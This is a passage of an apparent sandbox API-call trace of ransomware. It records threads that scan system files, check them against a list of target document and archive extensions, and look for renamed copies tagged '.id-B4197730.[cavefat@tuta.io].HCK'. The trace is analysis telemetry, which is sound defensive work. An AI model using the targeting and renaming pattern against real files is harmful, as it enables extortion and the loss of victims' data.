WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0238.599] GetTickCount () returned 0x1138301 [0238.599] GetTickCount () returned 0x1138301 [0238.599] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0238.902] GetTickCount () returned 0x113842a [0238.902] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0239.156] GetTickCount () returned 0x1138534 [0239.156] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0239.323] GetTickCount () returned 0x11385d0 [0239.323] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0239.607] GetTickCount () returned 0x11386f9 [0239.607] GetTickCount () returned 0x11386f9 [0239.607] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0239.886] GetTickCount () returned 0x1138802 [0239.886] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0240.220] GetTickCount () returned 0x113895a [0240.221] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0240.501] GetTickCount () returned 0x1138a73 [0240.501] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0240.958] GetTickCount () returned 0x1138c38 [0240.958] GetTickCount () returned 0x1138c38 [0240.958] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0241.321] GetTickCount () returned 0x1138da0 [0241.321] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0241.697] GetTickCount () returned 0x1138f17 [0241.697] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0241.839] GetTickCount () returned 0x1138fa3 [0241.839] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0242.165] GetTickCount () returned 0x11390ec [0242.165] GetTickCount () returned 0x11390ec [0242.165] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0242.279] GetTickCount () returned 0x1139169 [0242.279] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0242.507] GetTickCount () returned 0x1139243 [0242.507] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0242.721] GetTickCount () returned 0x113931e [0242.721] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0242.968] GetTickCount () returned 0x1139418 [0242.968] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0243.248] GetTickCount () returned 0x1139531 [0243.248] GetTickCount () returned 0x1139531 [0243.248] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0243.558] GetTickCount () returned 0x113965a [0243.558] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0243.688] GetTickCount () returned 0x11396e7 [0243.688] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0243.870] GetTickCount () returned 0x1139793 [0243.870] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0244.037] GetTickCount () returned 0x113983f [0244.037] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0244.241] GetTickCount () returned 0x113990a [0244.241] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0244.630] GetTickCount () returned 0x1139a90 [0244.630] GetTickCount () returned 0x1139a90 [0244.630] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0244.905] GetTickCount () returned 0x1139baa [0244.905] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0245.035] GetTickCount () returned 0x1139c27 [0245.035] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0245.225] GetTickCount () returned 0x1139ce2 [0245.225] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0245.425] GetTickCount () returned 0x1139dad [0245.425] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0245.645] GetTickCount () returned 0x1139e78 [0245.645] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x102 [0245.823] GetTickCount () returned 0x1139f34 [0245.823] GetTickCount () returned 0x1139f34 [0245.823] WaitForSingleObject (hHandle=0x328, dwMilliseconds=0x64) returned 0x0 [0245.824] WaitForMultipleObjects (nCount=0x4, lpHandles=0x280ff5c*=0x318, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 315 os_tid = 0xd24 [0224.006] GetTickCount () returned 0x11349ff [0224.006] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x24) returned 0x5056c0 [0224.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5056c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d8 [0224.006] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5056c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2dc [0224.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5056c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e0 [0224.007] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x5056c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e4 [0224.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x559540 [0224.008] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x559540, Size=0x20) returned 0x52ec80 [0224.008] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x559510 [0224.008] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x559510, Size=0x20) returned 0x52ee60 [0224.008] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.008] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.008] Wow64DisableWow64FsRedirection (in: OldValue=0x294ff7c | out: OldValue=0x294ff7c*=0x0) returned 1 [0224.008] lstrlenW (lpString="kernel32.dll") returned 12 [0224.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ec80 | out: hHeap=0x4f0000) returned 1 [0224.008] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.008] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ee60 | out: hHeap=0x4f0000) returned 1 [0224.008] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x546530, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2e8 [0224.009] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0224.210] GetTickCount () returned 0x1134aca [0224.210] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0224.437] GetTickCount () returned 0x1134ba5 [0224.437] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0224.681] GetTickCount () returned 0x1134c9f [0224.681] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0224.944] GetTickCount () returned 0x1134da9 [0224.944] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0225.385] GetTickCount () returned 0x1134f5e [0225.385] GetTickCount () returned 0x1134f5e [0225.385] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0225.756] GetTickCount () returned 0x11350d5 [0225.756] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0226.046] GetTickCount () returned 0x11351ef [0226.046] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0226.371] GetTickCount () returned 0x1135337 [0226.371] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0226.808] GetTickCount () returned 0x11354ec [0226.808] GetTickCount () returned 0x11354ec [0226.808] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0227.257] GetTickCount () returned 0x11356b1 [0227.257] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0227.696] GetTickCount () returned 0x1135867 [0227.696] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0228.138] GetTickCount () returned 0x1135a2c [0228.138] GetTickCount () returned 0x1135a2c [0228.138] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0228.451] GetTickCount () returned 0x1135b55 [0228.451] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0228.914] GetTickCount () returned 0x1135d1a [0228.914] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0229.377] GetTickCount () returned 0x1135eef [0229.377] GetTickCount () returned 0x1135eef [0229.377] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0229.606] GetTickCount () returned 0x1135fd9 [0229.606] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0229.784] GetTickCount () returned 0x1136085 [0229.784] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0229.978] GetTickCount () returned 0x1136150 [0229.978] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0230.258] GetTickCount () returned 0x113625a [0230.258] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0230.518] GetTickCount () returned 0x1136363 [0230.518] GetTickCount () returned 0x1136363 [0230.518] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0230.788] GetTickCount () returned 0x113646d [0230.788] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0231.120] GetTickCount () returned 0x11365c5 [0231.120] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0231.816] GetTickCount () returned 0x1136874 [0231.816] GetTickCount () returned 0x1136874 [0231.816] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0232.124] GetTickCount () returned 0x11369ad [0232.124] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0232.361] GetTickCount () returned 0x1136a97 [0232.361] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0232.632] GetTickCount () returned 0x1136bb0 [0232.632] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0232.928] GetTickCount () returned 0x1136cca [0232.928] GetTickCount () returned 0x1136cca [0232.928] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0233.065] GetTickCount () returned 0x1136d56 [0233.065] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0233.289] GetTickCount () returned 0x1136e41 [0233.289] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0233.482] GetTickCount () returned 0x1136efc [0233.482] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0233.868] GetTickCount () returned 0x1137083 [0233.869] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0234.342] GetTickCount () returned 0x1137257 [0234.342] GetTickCount () returned 0x1137257 [0234.342] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0234.911] GetTickCount () returned 0x113749a [0234.911] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0235.206] GetTickCount () returned 0x11375c2 [0235.206] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0235.369] GetTickCount () returned 0x113765f [0235.369] GetTickCount () returned 0x113765f [0235.369] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0235.571] GetTickCount () returned 0x113772a [0235.571] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0235.995] GetTickCount () returned 0x11378d0 [0235.995] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0236.141] GetTickCount () returned 0x113796c [0236.141] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0236.479] GetTickCount () returned 0x1137ab4 [0236.479] GetTickCount () returned 0x1137ab4 [0236.479] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0236.931] GetTickCount () returned 0x1137c79 [0236.931] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0237.235] GetTickCount () returned 0x1137db2 [0237.235] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0237.540] GetTickCount () returned 0x1137edb [0237.540] GetTickCount () returned 0x1137edb [0237.540] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0237.782] GetTickCount () returned 0x1137fd5 [0237.782] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0237.960] GetTickCount () returned 0x1138080 [0237.960] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0238.110] GetTickCount () returned 0x113811d [0238.110] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0238.599] GetTickCount () returned 0x1138301 [0238.599] GetTickCount () returned 0x1138301 [0238.599] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0238.902] GetTickCount () returned 0x113843a [0238.912] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0239.227] GetTickCount () returned 0x1138572 [0239.227] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0239.417] GetTickCount () returned 0x113862e [0239.417] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0239.676] GetTickCount () returned 0x1138737 [0239.676] GetTickCount () returned 0x1138737 [0239.676] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0239.900] GetTickCount () returned 0x1138812 [0239.900] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0240.232] GetTickCount () returned 0x113896a [0240.232] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0240.502] GetTickCount () returned 0x1138a73 [0240.502] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0240.958] GetTickCount () returned 0x1138c38 [0240.958] GetTickCount () returned 0x1138c38 [0240.958] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0241.321] GetTickCount () returned 0x1138da0 [0241.321] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0241.697] GetTickCount () returned 0x1138f17 [0241.697] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0241.839] GetTickCount () returned 0x1138fa3 [0241.839] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0242.165] GetTickCount () returned 0x11390ec [0242.165] GetTickCount () returned 0x11390ec [0242.165] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0242.279] GetTickCount () returned 0x1139169 [0242.279] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0242.507] GetTickCount () returned 0x1139243 [0242.507] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0242.721] GetTickCount () returned 0x113931e [0242.721] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0242.968] GetTickCount () returned 0x1139418 [0242.968] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0243.248] GetTickCount () returned 0x1139531 [0243.248] GetTickCount () returned 0x1139531 [0243.248] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0243.558] GetTickCount () returned 0x113965a [0243.558] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0243.688] GetTickCount () returned 0x11396e7 [0243.688] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0243.870] GetTickCount () returned 0x1139793 [0243.870] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0244.037] GetTickCount () returned 0x113983f [0244.037] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0244.241] GetTickCount () returned 0x113990a [0244.241] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0244.630] GetTickCount () returned 0x1139a90 [0244.630] GetTickCount () returned 0x1139a90 [0244.630] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0244.905] GetTickCount () returned 0x1139baa [0244.905] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0245.035] GetTickCount () returned 0x1139c27 [0245.035] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0245.225] GetTickCount () returned 0x1139ce2 [0245.225] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x102 [0245.425] GetTickCount () returned 0x1139dad [0245.425] WaitForSingleObject (hHandle=0x2e8, dwMilliseconds=0x64) returned 0x0 [0245.425] WaitForMultipleObjects (nCount=0x4, lpHandles=0x294ff5c*=0x2d8, bWaitAll=1, dwMilliseconds=0xffffffff) Thread: id = 316 os_tid = 0xd28 Thread: id = 318 os_tid = 0xd34 [0224.106] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5a4940 [0224.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10000) returned 0x5b4948 [0224.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558a30 [0224.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6) returned 0x580688 [0224.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558aa8 [0224.107] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x100000) returned 0x3720020 [0224.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558ad8 [0224.109] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558ad8, Size=0x20) returned 0x52f090 [0224.109] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x10) returned 0x558af0 [0224.109] RtlReAllocateHeap (Heap=0x4f0000, Flags=0x0, Ptr=0x558af0, Size=0x20) returned 0x52f108 [0224.109] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x73f50000 [0224.109] GetProcAddress (hModule=0x73f50000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x73f66b30 [0224.109] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdff50 | out: OldValue=0x2bdff50*=0x0) returned 1 [0224.109] lstrlenW (lpString="kernel32.dll") returned 12 [0224.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f090 | out: hHeap=0x4f0000) returned 1 [0224.109] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0224.109] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f108 | out: hHeap=0x4f0000) returned 1 [0224.109] Sleep (dwMilliseconds=0x64) [0224.305] Sleep (dwMilliseconds=0x64) [0224.519] Sleep (dwMilliseconds=0x64) [0224.826] lstrcmpiW (lpString1=".mui", lpString2=".HCK") returned 1 [0224.826] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0224.826] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.293] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=77664) returned 1 [0225.293] CloseHandle (hObject=0x43c) returned 1 [0225.293] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui")) returned 0x20 [0225.293] GetFileAttributesW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.293] CreateFileW (lpFileName="C:\\Boot\\bg-BG\\bootmgr.exe.mui" (normalized: "c:\\boot\\bg-bg\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.294] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.294] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.294] lstrlenW (lpString=".doc") returned 4 [0225.294] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0225.294] lstrlenW (lpString=".docx") returned 5 [0225.294] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0225.294] lstrlenW (lpString=".pdf") returned 4 [0225.294] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString=".xls") returned 4 [0225.294] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString=".xlsx") returned 5 [0225.294] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0225.294] lstrlenW (lpString=".ppt") returned 4 [0225.294] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.294] lstrlenW (lpString=".zip") returned 4 [0225.294] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString=".rar") returned 4 [0225.294] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString=".bz2") returned 4 [0225.294] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0225.294] lstrlenW (lpString=".7z") returned 3 [0225.294] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0225.294] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.294] lstrlenW (lpString=".dbf") returned 4 [0225.294] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0225.294] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.294] lstrlenW (lpString=".1cd") returned 4 [0225.294] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0225.294] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.294] lstrlenW (lpString=".jpg") returned 4 [0225.294] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0225.294] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.294] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.294] lstrlenW (lpString=".doc") returned 4 [0225.294] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0225.294] lstrlenW (lpString=".docx") returned 5 [0225.294] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0225.294] lstrlenW (lpString=".pdf") returned 4 [0225.294] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString=".xls") returned 4 [0225.294] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString=".xlsx") returned 5 [0225.294] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0225.294] lstrlenW (lpString=".ppt") returned 4 [0225.294] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.294] lstrlenW (lpString=".zip") returned 4 [0225.294] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString=".rar") returned 4 [0225.294] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0225.294] lstrlenW (lpString=".bz2") returned 4 [0225.294] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0225.295] lstrlenW (lpString=".7z") returned 3 [0225.295] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0225.295] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.295] lstrlenW (lpString=".dbf") returned 4 [0225.295] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0225.295] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.295] lstrlenW (lpString=".1cd") returned 4 [0225.295] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0225.295] lstrlenW (lpString="C:\\Boot\\bg-BG\\bootmgr.exe.mui") returned 29 [0225.295] lstrlenW (lpString=".jpg") returned 4 [0225.295] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0225.295] lstrcmpiW (lpString1=".dll", lpString2=".HCK") returned -1 [0225.295] lstrlenW (lpString="msadcer.dll") returned 11 [0225.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c [0225.296] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=2560) returned 1 [0225.296] CloseHandle (hObject=0x43c) returned 1 [0225.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll")) returned 0x20 [0225.296] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0225.296] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll" (normalized: "c:\\program files\\common files\\system\\msadc\\msadcer.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0225.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.296] lstrlenW (lpString=".doc") returned 4 [0225.296] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0225.296] lstrlenW (lpString=".docx") returned 5 [0225.296] lstrcmpiW (lpString1=".docx", lpString2="r.dll") returned -1 [0225.296] lstrlenW (lpString=".pdf") returned 4 [0225.296] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0225.296] lstrlenW (lpString=".xls") returned 4 [0225.296] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0225.296] lstrlenW (lpString=".xlsx") returned 5 [0225.296] lstrcmpiW (lpString1=".xlsx", lpString2="r.dll") returned -1 [0225.296] lstrlenW (lpString=".ppt") returned 4 [0225.296] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0225.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.296] lstrlenW (lpString=".zip") returned 4 [0225.297] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0225.297] lstrlenW (lpString=".rar") returned 4 [0225.297] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0225.297] lstrlenW (lpString=".bz2") returned 4 [0225.297] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0225.297] lstrlenW (lpString=".7z") returned 3 [0225.297] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0225.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.297] lstrlenW (lpString=".dbf") returned 4 [0225.297] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0225.297] lstrlenW (lpString="C:\\Program Files\\Common Files\\System\\msadc\\msadcer.dll") returned 54 [0225.297] lstrlenW (lpString=".1cd") returned 4 [0225.297] lstrcmpiW 